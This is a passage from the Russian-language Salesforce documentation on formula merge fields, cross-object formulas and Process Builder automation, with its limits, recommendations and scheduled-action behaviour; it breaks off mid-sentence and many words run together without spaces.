Поле слияния — это поле, которое может быть добавлено вшаблон эл. почты, шаблон
стандартного письма, настраиваемую ссылку или формулу для внедрения значений из
записи.

Синтаксис и форматирование
Поля слияния, используемые в формулах, не содержат фигурных скобок,
восклицательного знака и типа записи. Например: AccountNumber. Чтобы
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гарантировать использование правильного синтаксиса, нажмите кнопку «Вставить поле» или воспользуйтесь
раскрывающимся списком редактора формул.

СМ. ТАКЖЕ:

Советы по использованию полей слияния в формулах

Создание формул

Поля слияния для формул кросс-объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Поле слияния — это поле, которое может быть добавлено вшаблон эл. почты, шаблон
стандартного письма, настраиваемую ссылку или формулу для внедрения значений из
записи.

Формулы кросс-объектов — это формулы, охватывающие два связанных объекта и
ссылающиесянаполя слияния этихобъектов. Формулыкросс-объектовмогут ссылаться
на поля слияния основного объекта («родителя»), если объект является подробным во
взаимосвязи «Основная — подробная». Формулы кросс-объектов формулы также
работают с взаимосвязямипоиска.Например, формула кросс-объекта, ссылающаяся на
поле «Имя организации», может быть создана для контакта, связанного с обращением.
Вэтомслучаеформуладляобъекта «Обращение» должнасодержатьследующееполеслияния: Contact.Account.Name.

Синтаксис и форматирование
Поля слияния, используемые в формулах, не содержат фигурных скобок и восклицательного знака. Рекомендуем
использовать имена взаимосвязей, а не метки объектов. Имя взаимосвязи обычно соответствует имени объекта, но
формально является именем поля взаимосвязи.

Приобращениикимениродительскойорганизациивобъекте «Организация» воспользуйтесьсинтаксисом Parent.Name,
ане Account.Name. Придобавленииссылкинанастраиваемыйобъектрекомендуемдополнитьегоимядвумясимволами
подчеркивания и буквой r. Например, Position__r.title__c ссылается на поле «Должность»  (title__c)
настраиваемого объекта «Позиция».

Ограничения
Ниже перечислены компоненты, недоступные для использования.

• Поляслияниядляобъектов, связанныхсдействиями. Например, поляслияниядляконтактовиорганизацийнедоступны
в формулах задач и событий.

• Глобальная переменная $RecordType  (применяется только к записи, содержащейформулу, но не к записи,
охваченнойформулой). Начиная с выпуска Spring'13 при созданииформулы стандартного значения доступна только
глобальная переменная $RecordType.

Значение поля слияния Profile.Name может изменяться в зависимости от контекста ссылающегося поля формулы
кросс-объекта. Значением на страницах сведений является имя профиля, а в списковых представлениях и отчетах
внутреннее значение связанного профиля. Если формула содержит поле слияния Profile.Name, рекомендуем
использовать функцию OR для отображения ожидаемого результата. Например:

IF
(OR

(LastModifiedBy.Profile.Name = "Standard User", LastModifiedBy.Profile.Name =
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"PT2"),
"Standard", "Not Standard")

Данное правило не применяется к именам профилей, используемым глобальной переменной $Profile.

Расширение бизнес-процессов

Какой инструмент автоматизации следует использовать?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Процессы и потоки
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Утверждения доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Бизнес-правила доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Задачи бизнес-правила,
электронные
предупреждения и триггеры
потока недоступны в
версиях: Database.com
Edition.

СистемаSalesforceподдерживаетразныеинструментыдляавтоматизацииповторяющихся
бизнес-процессов организации: утверждения, конструктор процессов, Workflow и Visual
Workflow.

Оптимальный инструмент автоматизации определяется типом автоматизируемого
бизнес-процесса.

• Утверждение записи

Пример. Менеджеры утверждают запросы прямых подчиненных на отпуск.

• Выполнение действия при наличии определенных значений в записи

Пример. Уведомлениеответственногозаорганизациюприрасширениисвязанного
обращения.

• Сбор информации от пользователей или клиентов и последующее использование
данной информации

Пример. Службаподдержкииспользуетмастердляпошаговоговыполнениясценария
вызова, а введенная информация используется для создания обращений.

Утверждение записи
Чтобы автоматизировать процессы организации для утверждения записей, создайте
процессы утверждения.

Выполнение действия при наличии определенных значений
в записи
Данный сценарий использования поддерживается тремя инструментами: Workflow,
конструкторпроцессовиVisual Workflow. Данныеинструментысоздаютбизнес-правила,
процессы и потоки соответственно.

Рекомендуем начать работу с конструктора процессов (особенно для создания
бизнес-процессов, аналогичных простым операторам импликации). Например:
уведомление ответственного за организацию при расширении обращения.

Конструктор процессов поддерживает практически всефункции, доступные бизнес-правилам, и не только. Фактически,
один процесс, как правило, заменяет несколько бизнес-правил.

Процессы не поддерживают только две функции, доступные бизнес-правилам.

• Настройка разных интервалов выполнения действий.
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Процесс позволяет настраивать более позднее выполнение действий, однако все действия будут выполняться
одновременно. Чтобы задать разное время выполнения, воспользуйтесь бизнес-правилами. Например, рекомендуем
использоватьразныетриггерывременивбизнес-правиледляотправкиответственномузаорганизациюэлектронных
напоминанийзаодинмесяц, двенедели, однунеделюитриднядодатыистечениясрокадействиясвязанногоконтракта.

• Отправка исходящих сообщений без кода.

При необходимости решите данную проблему путем вызова кода Apex из процесса.

Чтобыавтоматизироватьбизнес-процесс, являющийсяслишкомсложнымдляконструкторапроцессов, илибизнес-процесс,
требующийналичияболеерасширенныхфункциональныхвозможностей, создайтепотокпосредствомоблачнойверсии
приложения Flow Designer. Например, можно создать процессы для следующих целей.

• Использованиесложнойлогикиветвления (дляоценкиследующихусловийприистинностиопределенныхусловий)

Пример. Проверка обращения на предмет расширения. Затем — при расширении обращения — проверка региона
организации и соответствующее перенаправление обращения.

• Сортировка, итерация и обработка нескольких записей

Пример. Вычисление скидки после закрытия и реализации возможности. Затем применить данную скидку ко всем
связанным продуктам возможности.

Получение информации от пользователей или клиентов и ее последующее
использование
Чтобы разработать мастер для сбора информации, рекомендуем использовать Visual Workflow. Создайте поток,
отображающий и запрашивающий информацию от пользователя. Затем воспользуйтесь введенной информацией для
выполнения соответствующих действий в системе Salesforce.

Например, создайтепотокдляпошаговоговыполнениясценариявызовапредставителямислужбыподдержки. Созданный
потокиспользуетинформацию, введеннуюпредставителем (например, имяабонентаиномерорганизации), для создания
обращения, которое затем назначается соответствующему сотруднику.

При необходимости усложните поток в соответствии с текущим бизнес-процессом. Например:

• Отображение представителю других окон, соответствующих ранее выбранным параметрам. Данный алгоритм
позволяет избежать выполнения таких действий, как повторная продажа продукта клиенту.

• Проверка обнаруженнойпроблемынапредмет созданиянеудобств для компании клиента, а организациинапредмет
ценности. При необходимости поток отправляет соответствующее уведомление региональному директору.

Функции инструментов автоматизации
Таблица ниже содержит все функции и действия, поддерживаемые каждым инструментом автоматизации. Рекомендуем
использовать данную таблицу для выбора оптимального инструмента.

УтвержденияБизнес-правилаVisual WorkflowКонструктор
процессов

Один оператор
импликации

Один оператор
импликации

КомплексМножество
операторов
импликации

Сложность
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УтвержденияБизнес-правилаVisual WorkflowКонструктор
процессов

Визуальный
конструктор

ВсеВсеВсе (не рекомендуется Safari)Все (рекомендуется
Chrome)

Поддержка
обозревателя

Изменение
записи

Изменение записиУсловие начала • Выбор кнопки или
ссылки

• Выбор кнопки или ссылки

• Открытие настраиваемой
вкладки • Начало процесса или

потока, содержащего• Начало процесса
действие «Отправить
на утверждение»

• Вызов Apex

• Вызов Apex

Поддержка
контролируемых
по времени
действий (несколько

расписаний на
каждый критерий)

Поддержка
взаимодействия
пользователя

Поддерживаемые действия

ВызовкодаApex

Только задачиТолько задачиСоздание
записей

Удаление
записей

Запуск потока

(пробная версия)1

Публикация
сообщения в

Chatter

Отправка эл.
почты

(только электронные
предупреждения)
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УтвержденияБизнес-правилаVisual WorkflowКонструктор
процессов

(только
электронные

предупреждения)

(только
электронные

предупреждения)

Отправка
исходящих

сообщений без
кода

Отправка на
утверждение

Запись или ее родительЗапись или ее
родитель

Любая записьЛюбая связанная
запись

Обновление
полей

1 Конструктор процессов заменяет триггеры потока как действия бизнес-правила, ранее доступные только в пробной
версии. Организации, использующие триггеры потока как действия бизнес-правила, могут продолжить их создание и
редактирование; триггеры потока как действия бизнес-правила недоступны новым организациям.

Конструктор процессов

Конструктор процессов Lightning

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Многие назначаемые задачи, отправляемые сообщения эл. почты и другие обновления
записей являются важными стандартными процессами организации. Рекомендуем
настроитьпроцессыдляавтоматическоговыполненияданныхповторяющихсядействий.

Конструктор процессов — это инструмент, позволяющий быстро автоматизировать
бизнес-процессыпутемотображениямногофункциональногоиинтуитивно-понятного
графического представления создаваемого процесса. Ниже перечислены действия,
поддерживаемые простым и надежным интерфейсом конструктора процессов.

• Созданиепроцессовпосредствомудобногомакета, поддерживающегоинтерактивные
возможности.

• Централизованное создание всего процесса взамен использования множества
бизнес-правил.

• Создание процессов путем привлечения разных рабочих групп компании.

• Отмена использования кода Apex для автоматизации простых задач.

Автоматизированные процессы конструктора процессов опираются на записи и состоят из компонентов ниже.

• Критерии, определяющие время выполнения групп действий.

• Немедленные и запланированные действия, которые должны выполняться при выполнении критериев.

Любоеизменение, позволяющеезаписисоответствоватькритериям, можетавтоматическиинициироватьгруппудействий.

Рекомендуем использовать более надежный и универсальный конструктор процессов для выполнения действий,
поддерживаемых бизнес-правилами. Конструктор процессов не поддерживает исходящие сообщения, которые при
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необходимости могут быть созданы самостоятельно посредством Apex. Ниже перечислены действия, поддерживаемые
конструктором процессов.

• Создание записи

• Обновление любой связанной записи

• Использование быстрого действия для создания записи, обновления записи или регистрации вызова

• Запуск потока (данное действие не может быть запланировано посредством бизнес-правила)

• Отправка сообщения эл. почты

• Публикация сообщения в Chatter

• Отправка на утверждение

При необходимости процесс может поддерживать дополнительные действия. Также процесс позволяет вызывать Apex.

Пример процесса: управление возможностями
Данный пример автоматизирует один бизнес-процесс путем использования конструктора процессов вместо
бизнес-правил.

Ограничения и рекомендации по использованию процессов
Прежде чем начать создание, управление и активацию процессов, просмотрите соответствующие ограничения и
рекомендации.

Настройка значений в конструкторе процессов
Использование конструктора процессов предполагает регулярную настройку значений (например, при настройке
условийдля критерия, принастройкеполейновогообращениядлядействия «Создать запись» илипривыбореметода
Apex для ссылки).

Создание процесса
Чтобы создать процесс, определите его свойства и записи, подлежащие оценке, а затем добавьте нужные критерии и
действия.

Устранение неисправностей для процессов
Рекомендуемиспользовать сообщенияобошибках, отображаемыеконструкторомпроцессов, исообщенияэл. почты,
отправляемые при неудачном выполнении процесса, для решения проблем, возникающих при использовании
процессов. При возникновении любых ошибок рекомендуем просматривать журналы отладок Apex для процессов.

Пример процесса: управление возможностями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данныйпримеравтоматизируетодинбизнес-процесспутемиспользованияконструктора
процессов вместо бизнес-правил.

Данный пример определяет порядок использования конструктора процессов для
автоматизации одного процесса путем добавления нескольких групп критериев и
последующего связывания данных критериев с отдельными действиями. Кроме того,
конструктор процессов предоставляет доступ к некоторым действиям, которые не
поддерживаются бизнес-правилами (например, создание записей).

В данном примере процесс начинается при создании или редактировании записи
возможности (1).

Процессу задаются три критерия: «Ценная сделка: реализовано» (2), «Ценная сделка: не
реализовано» (3)и «Смета: составлено» (4). Первыйкритерийоценивается какистинный,
поэтому инициирует выполнение связанной группы действий.
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Критерий «Ценная сделка: реализовано» проверяет возможностьнаналичие этапа «Закрытоиреализовано» истоимости
более 1 000 000 долларовСША. Выполнениеобоихусловийинициируетвыполнениесвязаннойгруппыдействий. Данный
критерий использует три немедленных действия (5) и одно запланированное действие (6).

А именно:

• Создание черновой записи контракта, связанной со стоимостью возможности.

• Выражение благодарности ответственному сотруднику за закрытие и реализацию возможности путем публикации
сообщения в соответствующую группу Chatter.

• Уведомление вице-президента по продажам о закрытии и реализации возможности по эл. почте.

• Создание сверхважной дополнительной задачи для ответственного за связанную организацию, которая должна
выполняться через шесть дней после наступления даты, указанной в поле возможности «Дата закрытия».

Невыполнение условий для критерия «Ценная сделка: реализовано» отменяет выполнение связанной группы действий,
но инициирует оценку следующего критерия («Ценная сделка: не реализовано»).

Критерий «Ценная сделка: не реализовано» проверяет возможность на наличие этапа «Закрыто и не реализовано» и
стоимости не менее 1 000 000 долларов США. Выполнение данных условий инициирует выполнение действия (7) для
уведомления вице-президента по продажам путем создания сообщения Chatter для записи возможности. Сообщение
отображает возможность и ее нереализованную стоимость.
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Невыполнениеусловийдляобоихуказанныхвышекритериевинициируетоценкуследующегокритерияданногопроцесса,
проверяющегоэтапвозможностинаналичие значения «Предложение/смета: составлено». Выполнениеданногоусловия
инициирует выполнение запланированного действия (8) через три дня после обновления записи. Запланированное
действие создает дополнительную задачу для ответственного за возможность, напоминающую о необходимости
выполнения вызова для получения сведений о возможности.

Благодаря конструктору процессов, нам удалось объединить три критерия и связанные действия в один
автоматизированный процесс. Чтобы автоматизировать аналогичный бизнес-процесс посредством бизнес-правила,
пользователю придется создать три разных бизнес-правила, а затем применить триггеры Apex для создания записи
контракта и публикации сообщения в соответствующую группу Chatter.

Ограничения и рекомендации по использованию процессов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прежде чем начать создание, управление и активацию процессов, просмотрите
соответствующие ограничения и рекомендации.

Прим.: Рекомендуемиспользоватьпоследнююстабильнуюверсиюобозревателя
Google Chrome™ и разрешение экрана не менее 1 024 пикселей по ширине.

Ограничения для процессов
Ниже перечислены общие ограничения и контролирующие ограничения Apex,
применяемые при использовании конструктора процессов.

Рекомендации по разработке процессов
Прежде чем разработать процесс, просмотрите ограничения и рекомендацииниже.

Рекомендации по использованию Chatter в процессах
Ниже перечислены ограничения, применяемые при создании сообщения Chatter из процесса.

Рекомендации по использованию запланированных действий процесса
Прежде чем добавить запланированные действия в процесс, просмотрите ограничения и рекомендации ниже.

Рекомендации по доступности конструктора процессов
Конструктор процессов соответствует требованиям статьи 508, кроме одного исключения.

Рекомендации по наборам изменений и упаковке процессов
Ниже перечислены рекомендации по развертыванию процессов.

Ограничения для формул процесса
Формулы, используемые как условия критериев, отличаются некоторыми ограничениями. Процесс, содержащий
недопустимуюформулу, не может быть сохранен или активирован.

Рекомендации по активации процессов
Прежде чем активировать процесс, просмотрите условия, при выполнении которых процессы начинают оценку
записей.

Сообщения об ошибках конструктора процессов
Сообщенияобошибкахипредупреждениямогут содержать термин «поток» вместо термина «процесс». Темнеменее,
данные сообщения применяются к процессу пользователя.
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Ограничения для процессов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже перечислены общие ограничения и контролирующие ограничения Apex,
применяемые при использовании конструктора процессов.

Ограничения, используемые другими функциями

Некоторые ограничения для процессов используются правилами и Visual Workflow.

Помимо указанных ниже ограничений, поле процесса «API-имя» должно быть
уникальным во всех процессах и потоках организации.

Ограничение
на
организацию

Описание

50 на объектОбщее количество активных правил и активных процессов.

Подправиламипонимаютсябизнес-правила, правиларасширения,
правила назначения и правила автоматического назначения.

1000Общее количество потоков и процессов

500Активные потоки и процессы

2000Общее количество оцениваемых критериев и выполняемых
действий

1000Общее количество возобновленных сеансов потока или групп
запланированных действий, выполняемых за час

30,000Общее количество сеансов потока или групп запланированных
действий, ожидающих обработки

20,000Общее количество оповещений по относительному времени,
заданных в версиях потока или расписаниях на основе значения
поля в процессах

Ежедневноеограничениепоколичествусообщенийэл. почты, отправленныхпосредствомэлектронныхпредупреждений,
составляет 1 000 штук на одну организацию со стандартной лицензией Salesforce, кроме организаций Developer Edition,
ежедневное ограничение которых составляет 15 штук на стандартную лицензию Salesforce. Общее ограничение для
организации составляет 2 000 000. Данное ограничение распределяется на все функции, использующие электронные
предупреждения: бизнес-правила, процессы утверждения, потоки и процессы.

Контролирующие ограничения Apex для процессов

Система Salesforce поддерживает строгие ограничения, позволяющие предотвращать единоличное использование
общедоступных ресурсов бесконтрольными процессами в многопользовательской среде. Процессы контролируются
ограничениямина транзакцию, которые применяются кодомApex. Еслипроцесс инициирует превышение транзакцией
контролирующих ограничений, то система выполняет откат всей транзакции. Дополнительную информацию об
операциях, добавленных в транзакцию, см. в разделе «Триггерыипорядок выполнения»Руководстваразработчика Force.com
Apex Code.
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Ограничение на
транзакцию

Описание

100Общее количество отправленных запросов SOQL

50,000Общее количество записей, извлеченных запросами SOQL

150Общее количество отправленных операторов DML

10,000Общее количество записей, обработанных в результате применения операторов DML

Каждое действие типа «Создать запись» использует один оператор DML. Каждое действие типа «Быстрое действие»
используетодиноператор DML. Каждоедействие типа «Обновить записи» используетодинзапрос SOQL иодиноператор
DML. Каждое действие типа «Потоки» может использовать несколько запросов SOQL и операторов DML (в зависимости
от элементов, выполняемых потоком). Дополнительные сведения см. в разделе «Ограничения для Visual Workflow» на
странице 4896.

Другие ограничения для процесса

Рассмотрите следующие ограничения при создании и управлении процессами.

ОграничениеОписание

255Всего символов в имени процесса

77Всего символов в имени API процесса

50Всего версий процесса

200Всего узлов критериев в процессе

Рекомендации по разработке процессов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прежде чем разработать процесс, просмотрите ограничения и рекомендации ниже.

Прим.: Конструкторпроцессовподдерживается в Microsoft® Internet Explorer® версии
11. Предыдущие версии не поддерживаются.

• Убедитесь, чтопроцессынеподдерживаютсозданиебесконечныхциклов. Например,
если действие «Обновить записи» для процесса 1 инициирует процесс 2, а действие
«Создать запись» дляпроцесса 2 инициируетпроцесс 1, то выполнениецикламожет
инициировать превышение почасовых ограничений организации.

• Если вы создаете процессы, чтобы заменить другие сущности настройки, например
бизнес-правило или триггер Apex, убедитесь, что вы можете удалить эти сущности
при активации эквивалентных процессов. В противном случае система выполняет
какбизнес-правила, такипроцессы, совместноеиспользованиекоторыхвозвращает
непредвиденные результаты (например, перезаписанные записи или повторяющиеся сообщения эл. почты).

• При создании процессов для замены любых триггеров Apex рекомендуем удалить данные триггеры Apex после
активации эквивалентных процессов. В противном случае, система выполняет как бизнес-правила, так и процессы,
совместноеиспользованиекоторыхвозвращаетнепредвиденныерезультаты (например, перезаписанныезаписиили
повторяющиеся сообщения эл. почты).
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• Каждый процесс связывается с одним объектом.

• Порядок выполнения действий соответствует порядку их отображения в конструкторе процессов.

• Неудачное выполнение любого действия инициирует неудачное выполнение всей транзакции и отображение
сообщения об ошибке. Например, если группа Chatter, используемая действием «Опубликовать в Chatter», является
личной, то само действие не выполняется. Дополнительную информацию см. в разделе «Устранение неполадок в
процессах» на странице 4774.

• Если одна группа действий содержит несколько действий «Обновить записи», применяющих разные значения к
одному полю, то используется значение последнего действия.

• Процессы, обновляющиеответственных, непереносятсвязанныеэлементы. Чтобывыполнитьперенос, рекомендуем
использовать одно действие «Обновить записи» для каждого типанужнойдочерней записи. Например, приналичии
процесса, позволяющегопереноситьответственность заорганизацию, рекомендуемиспользоватьоднодействиедля
обновления всех дочерних контактов, одно действие для обновления всех дочерних возможностей, одно действие
для обновления всех дочерних контрактов и т. д.

• Прежде чем изменить тип настраиваемого поля, убедитесь, что данное поле не используется процессом, который
аннулируется новым типом.

• Настраиваемое поле, используемое процессом, не может быть удалено.

• Настраиваемыеполя типафайланеподдерживаются вКонструкторепроцессов. Например, есливашпроцесс создает
запись статьи знаний, в которой есть поле настраиваемого типа файла, при запуске процесса возникнет ошибка.

• Приналичиипроцессовдляпреобразованныхинтересовинеобходимостиобновлениязаписей, созданныхврезультате
преобразования, рекомендуемвключитьпараметринтереса «Выполнять проверку и триггеры при преобразовании
интереса».

• Если организация использует мультивалюту, то поля валюты обновляются посредством кода валюты записи. Если
поле обновляется на основе формулы, то любое значение формулы обрабатывается в коде валюты записи.

• Конструктор процессов не поддерживает внешние объекты.

Рекомендации по использованию Chatter в процессах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже перечислены ограничения, применяемые при создании сообщения Chatter из
процесса.

• Приразвертываниипроцесса, публикующегосообщениеChatter влентуконкретного
пользователя или группы, в другой организации действие «Опубликовать в Chatter»
может не работать ввиду отсутствия данных кодов в другой организации.

• Поле «Сообщение», начинающеесясо ссылки (например, {![Организация].Name}),
может препятствовать сохранению действия Chatter.

Чтобы решить данную проблему, добавьте пробел в начале сообщения. Например,
если активный процесс содержит действие «Опубликовать в Chatter», поле
«Сообщение» которогоначинается со ссылки {![Организация].Name}, выполните
указанные ниже действия.

1. Откройте активный процесс.

2. Нажмите кнопку «Клонировать».

3. Создайте версиютекущегопроцессаилиабсолютноновыйпроцесс, использующийсобственныйжурналверсии.

4. Откройте действие «Опубликовать в Chatter».

5. Введите пробел перед символом «{» в поле «Сообщение».
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6. Сохраните действие.

7. Сохраните и активируйте процесс. Убедитесь, что исходный процесс деактивирован.

• Прииспользованииобозревателя Microsoft® Internet Explorer® 11 вставка текста в сообщениенеподдерживается. Действия
копирования и вставки могут использоваться во всех поддерживаемых обозревателях.

• Действия «Опубликовать в Chatter» не поддерживаются при выполнении публикации для пользователя или группы
сообщества на странице 3420. Оценка записи посредством активированного процесса с данным типом действия
инициирует возникновение ошибки.

• Можно добавить до 25 упоминаний в сообщении Chatter.

Рекомендации по использованию запланированных действий процесса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прежде чем добавить запланированные действия в процесс, просмотрите ограничения
и рекомендации ниже.

• Чтобы добавить запланированные действия в процесс, воспользуйтесь одним из
двух алгоритмов ниже.

– Начать процесс только при создании записи (1). Установите данный
переключатель при выборе объекта процесса.

– Начать процесс при создании или редактировании записи (2). Кроме того,
выберите дополнительный параметр для выполнения действий только при
внесении указанных изменений (3) при добавлении критериев в процесс.

• Еслизапланированныедействиянебудут выполнены, например, еслипользователь, запустившийпроцесс, неактивен,
то администратор, который создалпроцесс, получает сообщение электроннойпочты со сведениямио сбое. Salesforce
предпринимает дополнительные попытки выполнить сбойные запланированные действия перед тем, как удалить их
из очереди. Подробные сведения об уведомлениях об ошибках см. в разделе Ошибки, полученные после того, как
процесс начнет анализ записи.

• Деактивация процесса не препятствует обычному выполнению запланированных действий.

• Процесс, содержащийневыполненные группы запланированных действий, не может быть удален. Дополнительную
информациюобудаленииневыполненныхгруппзапланированныхдействийсм. вразделе «Удалениеневыполненных
запланированных действий» на странице 4774.

• Организация может обрабатывать не более 1 000 групп запланированных действий в час. Каждой группе
запланированных действий назначается расписание (например, «через 3 дня»). Обработка расписания инициирует
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выполнениесвязанныхдействий. Припревышенииданногоограничениясистема Salesforceобрабатываетоставшиеся
расписания в следующемчасу. Например, еслиорганизацияиспользует 1 200 группотложенныхдействий, обработка
которых запланирована на 16:00—17:00, то система Salesforce обрабатывает 1 000 групп между 16:00—17:00, а
дополнительные 200 групп между 17:00—18:00.

• Организация может одновременно использовать не более 30 000 отложенных расписаний и ожидающих сеансов
потока.

• Запланированныедействияпроцессов, выполняемыхприсозданииилиредактированиизаписи, находятся вочереди
толькоприналичиидействительныхкритериев. Еслизаписьбольшенесоответствует заданнымкритериям, тосистема
Salesforce удаляет связанные запланированные действия из очереди.

• Система Salesforce не выполняет повторную оценку записи для процессов, выполняемых при создании записи.
Запланированные действия находятся в очереди, даже при условии, что запись больше не соответствует связанным
критериям при выполнении запланированных действий.

• Есливы запланируете действие за 0 Днейдоопределеннойдаты, сохранитепроцесс, послечегооткройте его заново,
ирасписание впроцессеизменитсяна 0 днейпосле этой даты. Процесс, однако, все ещебудет выполнен в указанное
время.

• Если вы запланируете действие на 0 дней после определенной даты, может возникнуть задержка по сравнению со
временем, указанным в поле даты ранее перед выполнением группы действий.

Транзакции и запланированные действия

Аналогично бизнес-правилам, немедленные действия процессов выполняются в одной транзакции как операция,
инициировавшая начало процесса, — при создании или редактировании записи. Дополнительную информацию об
операциях, добавленных в данную транзакцию, см. в разделе «Триггеры и порядок выполнения» Руководства разработчика
Force.com Apex Code. Запланированные действия добавляются в отдельную транзакцию.

Группы запланированных действий не выполняются раздельно. Они группируются как отдельный пакет, который
начинает выполняться в течение одного часа после входа первой группы в пакет. Кроме того, пакет может содержать
сеансы потока, возобновляемые после наступления указанного времени. Данный алгоритм может инициировать
превышение контролирующихограниченийApex, еслилюбыедействия группывыполняютоперации DML или запросы
SOQL. Операция DML используется при каждом создании, обновлении или удалении записи Salesforce (например, при
выполнении действия процесса «Создать запись»). Запрос SOQL используется при каждом поиске системой Salesforce
информации о текущей записи (например, при выполнении действия процесса «Обновить записи»). Дополнительную
информацию о контролирующих ограничениях Apex см. в разделе «Ограничения для процессов» на странице 4736.

Если процесс содержит запланированные действия, убедитесь, что действия выполняют только операции DML или
запросы SOQL, разрешенные контролирующими ограничениями Apex.

Неудачное выполнение группы запланированных действий инициирует:

• Успешное выполнение предыдущих групп запланированных действий в транзакции данного пакета.

• Успешное выполнение немедленных действий данного процесса.

• Неудачное выполнение всех запланированных действий данной группы.

• Рассмотрение оставшихся групп запланированных действий в данном пакете.

Пример: Система Salesforceпланируетобработатьпакетиз 25 группзапланированныхдействийводнойтранзакции.
Данный пакет позволяет использовать не более 100 операций DML. Первые 22 группы используют по 5 операций
DML, а последние 3 группы не используют операции DML.

При попытке выполнения операций DML (101—105) для данной транзакции двадцать первая группа нарушает
контролирующие ограничения Apex. Неудачей завершается выполнение только данной группы запланированных
действий. Другими словами, первые 20 групп запланированных действий выполняются успешно, а двадцать первая
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группа запланированных действий не выполняется. Независимо от того, какое именно действие нарушает
ограничение, неудачноевыполнениеожидает вседействиядвадцатьпервойгруппы. Затемсистема Salesforceпытается
выполнить оставшиеся группы запланированных действий в пакете. Выполнение двадцать второй группы,
использующей 5 операций DML, такжезавершаетсянеудачей, таккаквседопустимыеоперации DML ужеиспользованы
транзакцией. Тем не менее, последние 3 группы, которые не используют операции DML, выполняются успешно.

Ограничения для расписаний

• При наличии действий, запланированных на прошедшую дату, система Salesforce выполняет данную группу
запланированных действий в течение одного часа.

Например, если процесс отправляет сообщение эл. почты ответственному за возможность за семь дней до даты
закрытия, но при этом выполняется процесс для возможности, которая должна быть закрыта сегодня, то система
Salesforce выполняет запланированные действия в течение одного часа.

Если действия планируются на основе текущего времени (например, через три дня):

• Расписание оценивается на основе часового пояса пользователя, создавшего процесс.

Еслидействияпланируютсянаосновезначенияполя (например, черезтридняпосленаступлениядаты, указанной
в поле обращения «Дата создания»):

• Расписание оценивается на основе часового пояса организации.

• Если деактивированный процесс содержит отложенные запланированные действия, а запись, поле которой
используется расписанием, изменяется, то система Salesforce пересчитывает расписание для данных действий. После
деактивации процесса система Salesforce пропускает все другие изменения в связанных записях.

• Организация может использовать не более 20 000 расписаний на основе поля и оповещений по относительному
времени во всех процессах и версиях потока.

• Поля ниже не могут быть ссылочными.

– Поле DATE или DATETIME, содержащее автоматические производные функции (например, TODAY или NOW).

– Поле формулы, содержащее поля слияния связанного объекта.

• Еслиизменение значенияссылочногополянеинициируетобработкурасписания, то система Salesforceпересчитывает
связанное расписание.

Например, если процесс отправляет сообщение эл. почты ответственному за возможность за семь дней до даты
закрытиявозможности, адатойзакрытиявыбирается 20 февраля 2014 года, тосистемаSalesforceобрабатываетрасписание
13 февраля 2014 года и отправляет сообщение эл. почты. При изменении даты закрытия на 10 февраля 2014 года и
необработке расписания система Salesforce пересчитывает расписание и отправляет сообщение эл. почты 3 февраля
2014 года. При назначении расписанию прошедшей даты система Salesforce выполняет связанные действия сразу
после сохранения записи.

• Система Salesforce пропускает расписания, ссылающиеся на нулевые значения полей.

• Удаление связанной записи или объекта препятствует обработке расписания.

• Ниже перечислены ограничения для преобразованных интересов.

– Интерес, поле которого используется невыполненным расписанием, не может быть преобразован.

– Есливключенафункция «Выполнять проверку и триггеры при преобразовании интереса», тозапланированные
действия над интересами не выполняются при преобразовании интересов.

– Еслиучастниккампаниинаосновеинтересапреобразуется до завершения запланированныхдействий, связанных
с данной записью, то система Salesforce все равно выполняет данные запланированные действия.
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Рекомендации по доступности конструктора процессов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Конструкторпроцессовсоответствуеттребованиямстатьи 508, кромеодногоисключения.

Клавиша ESC позволяет закрывать модальные диалоговые окна, но не поддерживает
закрытие боковых панелей.

Совет: Вы можете изменять порядок узлов критериев в созданном процессе.

• Чтобы выбрать узлы критериев, нажмите пробел Space.

• Чтобы изменить местоположение узла критерия, используйте стрелки вверх и
вниз.

• Чтобы сохранить изменения, нажмите пробел.

• Чтобы отменить, нажмите ESC.

Рекомендации по наборам изменений и упаковке процессов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже перечислены рекомендации по развертыванию процессов.

• ИнтерфейсMetadata API позволяет развертывать процессы в другой организации.
Тем не менее, помните, что:

– Процесс, которыйужесуществуетвцелевойорганизации, долженбытьнеактивен
(развертывание активного процесса не поддерживается).

– Процесс, который не существует в целевой организации, развертывается со
статусом «Неактивно», независимо от его статуса в исходной организации.

• Еслипроцессразвернутдлядругойорганизациивуправляемомпакете, такойпроцесс
можно только активировать или деактивировать. Пользователи не могут
просматривать или редактировать процессы.

• При развертывании процесса посредством интерфейсаMetadata API или наборов
измененийиналичиилюбыхизперечисленныхнижедействий, пакетируемыекомпоненты, накоторыеониссылаются,
